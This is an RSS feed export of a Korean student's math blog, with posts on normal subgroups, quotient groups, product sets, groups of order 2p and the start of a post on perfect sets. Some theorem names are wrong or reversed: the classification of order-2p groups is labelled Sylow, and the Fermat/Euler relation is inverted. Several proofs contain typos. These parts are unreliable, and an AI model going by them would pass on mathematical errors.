<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>황올뱀의 블로그</title>
    <link>https://verybigsilver.tistory.com/</link>
    <description>평일에 1개씩 글쓰기 목표</description>
    <language>ko</language>
    <pubDate>Wed, 3 Jun 2026 01:42:21 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>황올뱀</managingEditor>
    <image>
      <title>황올뱀의 블로그</title>
      <url>https://tistory1.daumcdn.net/tistory/7001850/attach/5f974473a54048bc9b98004a48a70c17</url>
      <link>https://verybigsilver.tistory.com</link>
    </image>
    <item>
      <title>[군론](19)[정규부분군 &amp;amp; 몫군]</title>
      <link>https://verybigsilver.tistory.com/289</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;normal subgroup&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$N \le G$에 대해, $\forall g \in G, \ gN = Ng$인 N&lt;br /&gt;&amp;nbsp; &amp;nbsp; $N\unlhd G$&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특징&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;만약 G가 abelian이라면 모든 subgroup이 normal subgroup&lt;br /&gt;당연히 element-wise로 normal subgroup이 됨&lt;/li&gt;
&lt;li&gt;모든 left coset = right coset임&lt;/li&gt;
&lt;li&gt;항상 {e}, G $\unlhd$ G&lt;br /&gt;즉, 임의의 군엔 normal subgroup이 1개는 존대&lt;/li&gt;
&lt;li&gt;Z(G) $\unlhd$ G&lt;br /&gt;&lt;a href=&quot;https://verybigsilver.tistory.com/246&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;군론 6&lt;/a&gt;에서 봤던 군의 중심은 항상 G의 normal subgroup이다&lt;br /&gt;Z(G) = {x | $\forall g \in G, \ gx=xg$} = abelian element&lt;br /&gt;&amp;nbsp; &amp;nbsp; 정의부터가 normal subgroup임...&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;$[G : H] = 2 \Rightarrow H \unlhd G$&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://verybigsilver.tistory.com/279&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;군론 17&lt;/a&gt;에서 증명한 것과 같이&lt;br /&gt;[G : H] = 2이면 left coset = right coset이다&lt;br /&gt;&amp;nbsp; &amp;nbsp; 즉, gH = Hg이므로&lt;br /&gt;-&amp;gt; normal subgroup&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;normal subgroup $\Leftrightarrow \forall g \in G, \ gNg^{-1} \subseteq N$&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;증명 (=&amp;gt;)&lt;br /&gt;$N \unlhd G$일때,&lt;br /&gt;$\iff \forall g \in G, \ gN = Ng$&lt;br /&gt;즉, $\forall n \in N, \ \exists n_1 \in N, \ gn = n_1g$&lt;br /&gt;$\Rightarrow \forall gng^{-1} = \exists n_1 \in N$&lt;br /&gt;따라서, $gNg^{-1} \subseteq N$&lt;br /&gt;&lt;br /&gt;참고) 반대 증명도 가능하다&lt;br /&gt;$\Rightarrow n = \exists gn_1g^{-1} \in gNg^{-1}$&lt;br /&gt;$\Rightarrow \forall n = \exists gn_1g^{-1} \in N$&lt;br /&gt;따라서, $N \subseteq gng^{-1}$&lt;br /&gt;그래서 정확히는 $N = gng^{-1}$인데 편리성 때문에 생략됨&lt;/li&gt;
&lt;li&gt;증명 (&amp;lt;=)&lt;br /&gt;$gng^{-1} \subseteq N$일떄,&lt;br /&gt;&lt;br /&gt;$\forall gn \in gN$,&lt;br /&gt;$gng^{-1} \in gNg^{-1} \subseteq N$&lt;br /&gt;$\Leftrightarrow \exists n_1 \in N, \ gng^{-1} = n_1$&lt;br /&gt;$\Rightarrow gn = n_1g \in Ng \Rightarrow gN \subseteq Ng$ &lt;br /&gt;&lt;br /&gt;$\forall ng^{-1} \in gN$,&lt;br /&gt;$(g^{-1})^{-1}ng^{-1} \in gNg^{-1} \subseteq N$&lt;br /&gt;$\Leftrightarrow \exists n_2 \in N, \ (g^{-1})^{-1}ng^{-1} = n_2$&lt;br /&gt;$\Rightarrow ng^{-1} = (g^{-1})^{-1}n_2 \in gN \Rightarrow Ng \subseteq gN$&lt;br /&gt;&lt;br /&gt;즉, $gN \subseteq Ng, \ Ng \subseteq gN$이므로, gN = Ng&lt;br /&gt;-&amp;gt; normal subgroup&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;G/N (Quotient group)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;N $\unlhd$ G일때, left coset을 모은 집합&lt;br /&gt;{gN | $g \in G$}&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;|G/N| = [G : N] = $\frac{|G|}{|N|}$&lt;/li&gt;
&lt;li&gt;G/&amp;lt;(a, b)&amp;gt;: 군 G를 (a, b)으로 모듈러 연산을 돌리겠다는 뜻이다&lt;br /&gt;(a, b)를 (0, 0)으로 취급하겠다는 뜻&lt;br /&gt;ax+by = 0의 식&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;G/N은 군인가?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;몫군 내부의 연산&lt;br /&gt;&amp;nbsp; &amp;nbsp; $\forall a,b \in G, \ (aN)\cdot(bN) = (ab)N$&lt;br /&gt;$N \unlhd G \iff \text{well-defined}$&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;증명(=&amp;gt;)&lt;br /&gt;$N \unlhd G$일때,&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;aN = a'N이고 &lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;bN = b'N이라 하자&lt;br /&gt;$\Rightarrow$ $an_1 = a', \ bn_2 = b'$&lt;br /&gt;a'b' = $(an_1)(bn_2) = a(n_1b)n_2$&lt;br /&gt;이떄, $N \unlhd G$이므로, Nb = bN&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;$\Rightarrow \exists bn_3 \in bN, \ n_1b = bn_3$&lt;br /&gt;$(a(n_1b)n_2) = a(bn_3)n_2 \in (ab)N$&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;즉, (ab)N = (a'b')N이다.&lt;br /&gt;-&amp;gt; well-defined&lt;/li&gt;
&lt;li&gt;증명(&amp;lt;=) normal subgroup의 동치 조건을 이용하자&lt;br /&gt;$\forall n \in N,\ nN = N$&lt;br /&gt;well-defined이므로, 같은 값을 곱하면 같은 결과가 나옴&lt;br /&gt;$\Rightarrow \forall g \in G, \ (nN)(g^{-1}N) = (N)(g^{-1}N)$&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;= $(ng^{-1})N = g^{-1}N$&lt;br /&gt;$\Rightarrow (gN)(ng^{-1})N = (gN)(g^{-1}N)$&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;= $(gng^{-1})N = (gg^{-1})N = N$&lt;br /&gt;따라서 $gNg^{-1} \subseteq N$이므로, N은 normal subgroup&lt;/li&gt;
&lt;/ul&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;closed?&lt;br /&gt;이미 연산 자체가 closed임&lt;br /&gt;$(aN)\cdot(bN) = (ab)N \in \text{left coset's set}$&lt;/li&gt;
&lt;li&gt;associative?&lt;br /&gt;G에서 상속받아서 ㄱㅊ&lt;/li&gt;
&lt;li&gt;identity?&lt;br /&gt;eN = N&lt;/li&gt;
&lt;li&gt;inverse?&lt;br /&gt;$(aN)^{-1} = (a^{-1})N$&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 몫군 또한 군이다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;예시&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[[번외) Quotient group 예시]]&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;성질&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;G가 abelian =&amp;gt; G/N도 abelian&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;증명&lt;br /&gt;G가 abelian이고, $N\unlhd G$라 가정하자.&lt;br /&gt;$\forall aN, \ bN \in G/N$에 대해&lt;br /&gt;$aN\cdot bN = (a\cdot b)N$&lt;br /&gt;= $(b\cdot a)N$ (G가 abelian)&lt;br /&gt;= $= bN\cdot aN$&lt;br /&gt;따라서 G/N도 abelian&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참고) 역은 성립 X&lt;br /&gt;&amp;nbsp; &amp;nbsp; $S_n/A_n \simeq \mathbb{Z}_2$ &amp;lt;- abelian&lt;br /&gt;&amp;nbsp; &amp;nbsp; 그러나, $S_n$은 abelian 아님&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;G가 cyclic =&amp;gt; G/N도 cyclic&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;증명&lt;br /&gt;G가 cyclic이고, $N\unlhd G$라 가정하자.&lt;br /&gt;$\forall gN \in G/N$에 대해,&lt;br /&gt;$\exists a \in G, \ a^k = g$ (G가 cyclic)&lt;br /&gt;$\Rightarrow gN = a^kN = aN\cdot aN \cdot ... \cdot aN$&lt;br /&gt;= $(aN)^k$&lt;br /&gt;즉, $G/N = \braket{aN}$&lt;br /&gt;따라서 G/N도 cyclic&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참고) 역은 성립 X&lt;br /&gt;$S_n/A_n \simeq \mathbb{Z}_2$ &amp;lt;- cyclic&lt;br /&gt;그러나, $S_n$은 cyclic 아님&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;G/Z 정리&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;G/Z(G)가 cyclic =&amp;gt; G는 abelian&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;증명&lt;br /&gt;G/Z(G)가 cyclic이므로,&lt;br /&gt;$G/Z(G) = \braket{gZ(G)}$인 $\exists g \in G$존재&lt;br /&gt;$\Rightarrow G = Z(G)\cup gZ(G)\cup ...\cup g^kZ(G)\cup ...$&lt;/li&gt;
&lt;li&gt;이떄, G의 임의의 원소 x, y를 다음과 같이 나타낼 수 있다.&lt;br /&gt;$x \in g^iZ(G), \ y \in g^jZ(G)$&lt;br /&gt;$\Leftrightarrow x = g^iz_1, \ y = g^jz_2$ (단, $z_1,z_2 \in Z(G)$)&lt;br /&gt;즉, $z_1, z_2$는 중심의 원소이므로, 교환법칙이 성립&lt;br /&gt;$xy = g^iz_1g^jz_2 = z_2g^{i+j}z_1 = g^jz_2g^iz_1 = yx$&lt;br /&gt;따라서 abelian&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>군론</category>
      <category>군론</category>
      <author>황올뱀</author>
      <guid isPermaLink="true">https://verybigsilver.tistory.com/289</guid>
      <comments>https://verybigsilver.tistory.com/289#entry289comment</comments>
      <pubDate>Tue, 2 Jun 2026 10:44:56 +0900</pubDate>
    </item>
    <item>
      <title>[군론](18)[product set &amp;amp; 소수와 군]</title>
      <link>https://verybigsilver.tistory.com/288</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;product set&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;H, K $\le$ G일때, HK = ${hk \ | \ h \in H, \ k\in K}$&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;HK가 항상 G의 부분군임은 보장되진 않는다&lt;br /&gt;예) $G = S_3, \ H = {\iota, (1,2)},\ K = {\iota, (2,3)}$&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;$|S_3| = 3! = 6$ &lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;$HK = \{\iota, (1,2), (2,3), (1,2)(2,3)\}$ &lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;by 라그랑주 정리, $4\&amp;nbsp;&amp;nbsp;|\not \ 6$이므로, HK는 부분군이 아님&lt;/li&gt;
&lt;li&gt;G가 abelian이라면 항상 KH = HK&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;$|HK| = \frac{|H|\cdot |K|}{|H\bigcap K|}$&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 $H\bigcap K$ = {e} 라면? -&amp;gt; |HK| = |H||K|&lt;br /&gt;subgroup 조건에 의해, H, K는 e를 반드시 포함해야 함&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;증명&lt;br /&gt;HK의 원소 중 같은 값이지만 다르게 표현될 수 있는 것이 있다&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&amp;nbsp; &amp;nbsp; 예) 6 = 2 x 3 = 1 x 6&lt;/span&gt; &lt;br /&gt;따라서, 이런 중복 case를 제거해야 한다.&lt;br /&gt;&lt;br /&gt;중복 케이스를 $h_1k_1 = h_2k_2$라고 하자.&lt;br /&gt;$\iff h_2^{-1}h_1 = l_2k_1^{-1} = d$라고 하자&lt;br /&gt;by closure, $d \in H, \ d \in K$&lt;br /&gt;$\Rightarrow d \in H\bigcap K$ &lt;br /&gt;&lt;br /&gt;정의에 의해, $(h_2, k_2) = (h_1d, d^{-1}k_1)$이다. &lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&amp;nbsp; &amp;nbsp; $h_1k_1 = h_1(d d^{-1})k_1$&lt;/span&gt; &lt;br /&gt;즉, 임의의 $H\bigcap K$의 원소 d에 대해 성립한다&lt;br /&gt;-&amp;gt; 중복을 만들 수 있는 원소 수 = $|H\bigcap K|$&lt;br /&gt;따라서, 나눠서 중복을 제거하면, $|HK| = \frac{|H|\cdot |K|}{|H\bigcap K|}$&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;$HK \le G \iff KH=HK$&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;(=&amp;gt;) 증명&lt;br /&gt;$H,K \le G \Rightarrow$ H, K는 군&lt;br /&gt;$h\in H, \ k\in K$에 대해, $x \in HK$라 하자.&lt;br /&gt;이떄, 전제에 의해, HK는 군이므로, x의 유일한 역원을 갖는다&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;$x^{-1} = hk \in HK$&lt;br /&gt;K는 군이므로, 유일한 역원을 가짐&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;$\exists h' = h^{-1} \in H, \ \exists k' = k^{-1} \in K$&lt;br /&gt;$(x^{-1})^{-1} = x = k^{-1}h^{-1} = k'h' \in KH$&lt;br /&gt;따라서, $x \in HK \Rightarrow x \in KH$이므로,&lt;br /&gt;$HK \subseteq KH$&lt;br /&gt;반대도 동일하게 증명하면 $KH \subseteq HK$&lt;br /&gt;-&amp;gt; HK = KH&lt;/li&gt;
&lt;li&gt;(&amp;lt;=) 증명&lt;br /&gt;HK가 부분군 판정을 만족하는지 보면 됨
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;non-empty?&lt;br /&gt;$e \in H, K$&lt;br /&gt;$\Rightarrow e\cdot e = e \in HK$&lt;br /&gt;$HK \neq \emptyset$&lt;/li&gt;
&lt;li&gt;closure?&lt;br /&gt;$\forall h_1k_1, h_2k_2 \in HK,$&lt;br /&gt;$(h_1k_1)(h_2k_2) = h_1(k_1h_2)k_2$&lt;br /&gt;이떄, HK = KH이므로,&lt;br /&gt;&amp;nbsp; &amp;nbsp; $h'k' = k_1h_2$인 $h'k' \in HK$가 존재&lt;br /&gt;$\Rightarrow h_1h'k'k_2 = (h_1h')(k'k_2) \in HK$&lt;/li&gt;
&lt;li&gt;inverse?&lt;br /&gt;$\forall hk \in HK,$&lt;br /&gt;$(hk)^{-1} = k^{-1}h^{-1} \in KH = HK$&lt;/li&gt;
&lt;/ol&gt;
-&amp;gt; 따라서, $HK \le G$&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;half-group partition&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;군 G에 정확히 2개의 left coset (or right coset)이 있는 경우 index가 2이다&lt;br /&gt;&amp;nbsp; &amp;nbsp; 정의에 의해 당연함&lt;br /&gt;즉, 군이 $G = H \bigcup (G\backslash H) = H \bigcup H^C$&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;$[G:H]=2 \Rightarrow \forall g \in G, \ gH=Hg$&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 잉여류가 2개밖에 없다면, right coset = left coset이다&lt;br /&gt;-&amp;gt; 즉, 정규부분군이라는 소리다...&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;증명&lt;br /&gt;$g \in H$라면...&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;$gH = Hg = H$ 이므로 완료&lt;br /&gt;$g \in G\backslash H$라면?&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;좌잉여류 = $G\backslash H$ &lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;우잉여류 = $G\backslash H$ &lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;따라서, gH = Hg&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;소수와 군&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;cauchy theorem&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;order가 2p인 군은 항상 |a| = p인 원소를 포함한다&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;|a| = p&lt;/li&gt;
&lt;li&gt;$|\braket{a}| = p \Rightarrow [G:\braket{a}] = 2$&lt;/li&gt;
&lt;li&gt;$\braket{a}$는 대칭 분할 (left = right coset)&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;sylow theorem&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위수가 2p인 군은&lt;br /&gt;&amp;nbsp; &amp;nbsp; cyclic group $\mathbb{Z}_{2p}$&lt;br /&gt;&amp;nbsp; &amp;nbsp; dihedral group $D_p$&lt;br /&gt;와 isomorphic하다&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;페르마의 소정리의 증명&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$a^{\phi(n)} \equiv 1 \ (\mod \ n)$&lt;br /&gt;&lt;a href=&quot;https://verybigsilver.tistory.com/91&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;정수론 7&lt;/a&gt;에서 증명한 방법도 있지만, 군론으로도 증명 가능하다&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;group of units&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;U($\mathbb{Z}&lt;i&gt;n$) = {$k \in \mathbb{Z} \ | \ k&amp;lt;n, \ \gcd(k, n) = 1$}&lt;br /&gt;예) U($\mathbb{Z}&lt;/i&gt;{10}$) = U({0, 1, ..., 9}) = {1, 3, 7, 9} &amp;lt;- 10과 서로소&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;order = $\phi(n)$&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;li&gt;증명&lt;br /&gt;gcd(a, n) = 1이고, $a \in \mathbb{Z}_n$인 a를 잡자.&lt;br /&gt;group of units의 정의에 의해, $a \in U(\mathbb{Z}_n)$&lt;br /&gt;$\Rightarrow a^{|U(\mathbb{Z}_n)|} = e$ (라그랑주 정리의 따름 정리 이용)&lt;br /&gt;$\Rightarrow a^{\phi(n)} = 1 \in \mathbb{Z}_n$&lt;br /&gt;$\Rightarrow a^{\phi(n)} \equiv 1 \ (mod \ n)$&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;페르마 소정리의 특이 케이스인 오일러 공식도&lt;br /&gt;$\phi(p) = p-1$임을 이용하면 됨&lt;/p&gt;</description>
      <category>군론</category>
      <category>군론</category>
      <author>황올뱀</author>
      <guid isPermaLink="true">https://verybigsilver.tistory.com/288</guid>
      <comments>https://verybigsilver.tistory.com/288#entry288comment</comments>
      <pubDate>Mon, 1 Jun 2026 09:39:23 +0900</pubDate>
    </item>
    <item>
      <title>[해석학](22)[perfect set]</title>
      <link>https://verybigsilver.tistory.com/287</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;perfect set&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$P \subseteq \mathbb{R}$이 closed + no isolated point면 perfect set이다.&lt;br /&gt;&amp;nbsp; &amp;nbsp; $\iff$ closed + 모든 집합의 점이 limit point&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예) [a, b]는 perfect set이다&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; limit point of [a, b] = [a, b]&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; 따라서, [a, b]안의 모든 점은 limit point&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; -&amp;gt; perfect set&lt;br /&gt;예) {0}은 perfect set이 아니다...&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; 0 = isolated point&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; -&amp;gt; perfect set 아님...&lt;br /&gt;예) {0}$\cup {\frac{1}{n}}$은 perfect set이 아니다...&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; 0 = limit point&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; $\forall \frac{1}{n}$ = isolated point&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; 각 분수 사이에 빈 공간이 생기는 $\epsilon$ 존재&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; -&amp;gt; perfect set 아님...&lt;br /&gt;예) Cantor set은 perfect set이다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;증명&lt;br /&gt;$x \in C$라고 할 때, x가 limit point임을 보이자!&lt;br /&gt;일단 &lt;a href=&quot;https://verybigsilver.tistory.com/285&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;해석개론 20&lt;/a&gt;에서 보였듯, C는 compact이다&lt;br /&gt;&lt;br /&gt;모든 교집합에는 각 interval의 끝 점이 항상 포함된다.&lt;br /&gt;따라서, $\forall \epsilon &amp;gt; 0$에 대해, $(\frac{1}{3})^n &amp;lt; \epsilon$인 n을 잡으면,&lt;br /&gt;$\exists y \in C, \ |y-x| \le (\frac{1}{3})^n &amp;lt; \epsilon$&lt;br /&gt;즉, $y \in V_{\epsilon}(x)$이므로, x는 limit point이다&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;466&quot; data-origin-height=&quot;696&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/chI3tk/dJMcahxI1hB/NX7kPiZu8J0nfGKaMjTOr0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/chI3tk/dJMcahxI1hB/NX7kPiZu8J0nfGKaMjTOr0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/chI3tk/dJMcahxI1hB/NX7kPiZu8J0nfGKaMjTOr0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FchI3tk%2FdJMcahxI1hB%2FNX7kPiZu8J0nfGKaMjTOr0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;246&quot; height=&quot;367&quot; data-origin-width=&quot;466&quot; data-origin-height=&quot;696&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;$P \neq \emptyset$일떄, perfect set P는 uncountable&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(perfect set은 농도가 더 높다고 할 수 있다.)&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
